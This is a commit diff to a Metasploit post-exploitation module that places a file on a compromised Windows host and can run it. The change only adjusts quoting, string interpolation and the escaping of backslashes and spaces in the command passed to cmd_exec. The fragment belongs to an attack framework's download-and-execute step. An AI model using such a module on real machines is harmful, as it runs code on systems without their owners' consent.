download_exec_fix
parent
b2ae8a24dc
commit
53ec982385
|
@ -88,8 +88,8 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
outpath = path + '\\' + filename
|
||||
exec = datastore["EXECUTE"]
|
||||
exec_string = datastore["EXEC_STRING"] || ''
|
||||
exec = datastore['EXECUTE']
|
||||
exec_string = datastore['EXEC_STRING'] || ''
|
||||
output = datastore['OUTPUT']
|
||||
remove = datastore['DELETE']
|
||||
|
||||
|
@ -112,11 +112,11 @@ class Metasploit3 < Msf::Post
|
|||
# Execute file upon request
|
||||
if exec
|
||||
begin
|
||||
cmd = outpath + ' ' + exec_string
|
||||
cmd = "#{outpath} #{exec_string}"
|
||||
|
||||
# If we don't have the following gsub, we get this error in Windows:
|
||||
# "Operation failed: The system cannot find the file specified"
|
||||
cmd = cmd.gsub(/\\/, '\\\\\\')
|
||||
cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')
|
||||
|
||||
print_status("Executing file: #{cmd}")
|
||||
res = cmd_exec(cmd)
|
||||
|
@ -136,4 +136,4 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue